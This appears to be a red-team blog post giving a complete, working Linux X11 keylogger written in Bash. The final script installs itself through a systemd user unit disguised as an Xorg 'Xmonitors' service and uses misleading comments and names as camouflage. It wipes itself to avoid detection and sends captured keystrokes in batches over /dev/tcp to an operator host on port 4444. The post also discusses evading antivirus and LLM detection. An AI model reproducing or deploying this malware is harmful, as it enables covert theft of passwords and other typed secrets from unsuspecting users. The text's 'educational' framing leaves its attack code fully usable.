Userland keylogger for Linux endpoints

28 Sep 2026

For educational purposes only.


In this post (that has been a draft for almost a year), we’ll see how we could gain extra privileges on a Linux box using one of the most known technique: keylogging! As it turns out, it is quite easy to craft a userland keylogger (without having to be root!) if the Linux target is relying on the X Window System, also known as X11.

Building blocks

Our Shell script will rely on two common X11 tools: xinput and xmodmap.

Given a proper device ID, xinput allows us to “test” devices, such as keyboards. For instance, after finding device ID corresponding to my keyboard with xinput, I can test it with xinput test ${DEVICE_ID?}:

$ xinput
⎡ Virtual core pointer                    	id=2	[master pointer  (3)]
⎜   ↳ Virtual core XTEST pointer              	id=4	[slave  pointer  (2)]
⎜   ↳ UNIW0001:00 093A:0255 Touchpad          	id=15	[slave  pointer  (2)]
⎣ Virtual core keyboard                   	id=3	[master keyboard (2)]
    ↳ Virtual core XTEST keyboard             	id=5	[slave  keyboard (3)]
    ↳ Video Bus                               	id=6	[slave  keyboard (3)]
    ↳ Power Button                            	id=7	[slave  keyboard (3)]
    ↳ Sleep Button                            	id=8	[slave  keyboard (3)]
    ↳ AT Translated Set 2 keyboard            	id=16	[slave  keyboard (3)]
$ xinput test 16
key release 36 
key press   43 
hkey release 43 
key press   26 
ekey release 26 
key press   46 
lkey release 46 
key press   46 
lkey release 46 
key press   32 
okey release 32 
key press   37 
key press   54 
^C

In the example above, I’m typing ‘hello’ followed by CTRL+C. What’s really cool is that it works wherever the focus is!

Now that we have raw keycodes, we have to convert them to ASCII.

Note | From an adversarial point-of-view, it may be better to encrypt and store the keycodes (36, 43, 26…) in a binary format and decipher and convert them to ASCII on attacker-owned devices. Having only raw, encrypted data transiting will harden the forensics effort a bit.

That’s where xmodmap comes. With the command xmodmap -pke, we have a complete keycode <-> ASCII mapping for the current device:

$ xmodmap -pke | head -15
keycode   8 =
keycode   9 = Escape NoSymbol Escape
keycode  10 = 1 exclam 1 exclam
keycode  11 = 2 at 2 at
keycode  12 = 3 numbersign 3 numbersign
keycode  13 = 4 dollar 4 dollar
keycode  14 = 5 percent 5 percent EuroSign NoSymbol EuroSign
keycode  15 = 6 dead_circumflex 6 dead_circumflex asciicircum asciicircum asciicircum
keycode  16 = 7 ampersand 7 ampersand
keycode  17 = 8 asterisk 8 asterisk
keycode  18 = 9 parenleft 9 parenleft leftsinglequotemark dead_breve leftsinglequotemark
keycode  19 = 0 parenright 0 parenright rightsinglequotemark dead_abovering rightsinglequotemark
keycode  20 = minus underscore minus underscore dead_macron dead_belowdot dead_macron
keycode  21 = equal plus equal plus dead_doubleacute dead_horn dead_doubleacute
keycode  22 = BackSpace BackSpace BackSpace BackSpace

With this, we can start to build our keylogger script:

#!/bin/bash

keymap=$(xmodmap -pke)

xinput test "$1" |
while read -r _ action keycode; do
    keysym=$(awk -v kc="$keycode" -F'[= ]+' '$2 == kc {print $3}' <<< "$keymap")

    if [ "$action" = "release" ] &&
       ! [[ "$keysym" =~ _(L|R)$|ISO_Level3_Shift ]]; then
        continue
    fi

    echo "$action" "$keysym"
done

This script:

We can run it in a dedicated terminal with the right device as arg 1, and let it grab the typed keys!

$ ./kl.sh 16
press w
press w
press w
press period
press g
press o
press o
press g
press l
press e
press period
press c
press o
press m
press Return
press Shift_L
press h
release Shift_L
press o
press w
press space
press t
press o
press space
press b
press e
press space
press a
press space
press 1
press 3
press 3
press 7
press space
press h
press a
press x
press o
press r
press Return

Weaponization and persistence

To turn our friendly shell script into a nastier one, we need to tweak it a bit. Because our goal is to stay under the radar as much as possible, we need to:

Verifying dependencies and adding a self-destruct capability is quite easy. To minimize the risk of being caught, we will use Bash’s built-in and POSIX-compatible command instead of the which program. We’ll also wipe the keylogger script instead of running rm, as file deletion events might raise a few eyebrows:

for cmd in awk xinput xmodmap; do
    if ! command -v "$cmd" >/dev/null 2>&1; then
        echo "" > "$0"
        exit 0
    fi
done

Because the script will run from the start on the user’s first login, idempotency is important for the persistent phase. We will rely on mkdir’s -p flag to failsafe, and test if the unit file is already present:

mkdir -p ${HOME}/.config/systemd/${USER}
if ! [ -f ${HOME}/.config/systemd/${USER}/telemetry.unit ]; then
    cat << EOF > ${HOME}/.config/systemd/${USER}/watchdog.unit
[Unit]
Description=Xmonitors service for monitors layout configurations 

[Service]
Type=oneshot
ExecStart=${HOME}/.Xmonitors
RemainAfterExit=no

[Install]
WantedBy=default.target
EOF
fi

This basic deceptive systemd unit disguises our keylogger as a X11 service, which may help fool anyone doing forensics due the presence of X tools within the program. But again, a trained eye will not be fooled.

For the data exfiltration, we will open a /dev/tcp pseudo-device, and use the file descriptor to push ASCII values. To avoid generating a lot of traffic that may get eyes on our script, we must buffer the keycodes and push them by batches:

# init, deps verification, persistence logic

# grab the keycodes, buffer them
# when buffer is full, open conenction or fail cleanly if an error occurs
exec 3<>/dev/tcp/${OPERATOR_DOMAIN}/35682 || exit 0

# push the keycodes

# close the connection
exec 3>&-

Final version

Here’s the final version, with deceptive comments and very basic “obfuscation” (wrong variables and functions names, etc). It must be dropped in ${HOME}/.Xmonitors, with an up-to-date ${OPERATOR_DOMAIN}.

#!/bin/bash
# Xmonitors, copyright the Xorg authors (2008 - 2020)

# Ensure dependencies are properly installed, fail cleanly otherwise
for util in awk xinput xmodmap; do
    if ! command -v "$util" >/dev/null 2>&1; then
        echo "" > "$0"
        exit 0
    fi
done

# Ensure the daemon is properly set
mkdir -p ${HOME}/.config/systemd/${USER}
if ! [ -f ${HOME}/.config/systemd/${USER}/Xmonitors.unit ]; then
    cat << EOF > ${HOME}/.config/systemd/${USER}/Xmonitors.unit
[Unit]
Description=Xmonitors service for monitors layout configurations 

[Service]
Type=oneshot
ExecStart=${HOME}/.Xmonitors
RemainAfterExit=no

[Install]
WantedBy=default.target
EOF
fi

systemctl --user enable Xmonitors.unit

# Check monitors present on the system
S=100
MONITOR_ID=$(xinput list --short \
    | awk -F'id=' '/slave *keyboard/ && !/XTEST/ && !/Virtual core/ && !/Power Button/ && !/Sleep Button/ && !/Video Bus/ {print $2}' \
    | awk '{print $1}' \
    | head -n1)
if [ -z "$MONITOR_ID" ]; then exit 0; fi
RMAP=$(xmodmap -pke)

# Helper functions for monitoring
parse() {
    local kc="$1"
    awk -v kc="$kc" -F'[= ]+' '$2==kc {print $3}' <<< "$RMAP"
}

ignore_invalid_data() {
    local ks="$1"
    case "$ks" in
        Shift_*|Control_*|Alt_*|Meta_*|Super_*|ISO_Level3_Shift|Caps_Lock|Num_Lock)
            return 0 ;;
        *) return 1 ;;
    esac
}

report=()

# Main loop: verify that monitors are well detected and handled by X system
while read -r t a k; do
    [ "$t" != "key" ] && continue

    status=$(parse "$k")
    [ -z "$status" ] && continue

    if [ "$a" = "press" ]; then
        report+=("p$status")
    elif [ "$a" = "release" ]; then
        if ignore_invalid_data "$status"; then
            report+=("r$status")
        fi
    fi

    # Monitoring
    # Current setting: DISABLED
    if [ "${#report[@]}" -ge "$S" ]; then
        exec 3<>/dev/tcp/${OPERATOR_DOMAIN}/4444 || exit 0
        echo "${report[@]}" >&3
        exec 3>&-
        report=()
    fi
done < <(xinput test "$MONITOR_ID")

Evasion

This script is very easy for LLMs to identify as malware. I tested it on various models, and they all flagged it as malicious. A seasoned Linux sysadmin will easily spot it too, and probably EDRs as well but I haven’t tried yet. It does not trigger any vendor on VirusTotal, mostly because of its signature being unknown.

However, the VirusTotal sandboxes properly identified the various MITRE ATT&CK techniques matching the script’s behavior (Persistence using Systemd units, etc).

To be honest, I do not think this can realistically be deployed and survive on any properly instrumented production machine. However, it may come in handy for gaining extra privileges on engagements where Linux devices are not properly enrolled with EDR/AV or regularly audited. I’ll give it a shot on future red team exercices!


  1. https://wiki.archlinux.org/title/Systemd/User ↩︎

Tags: linux security x11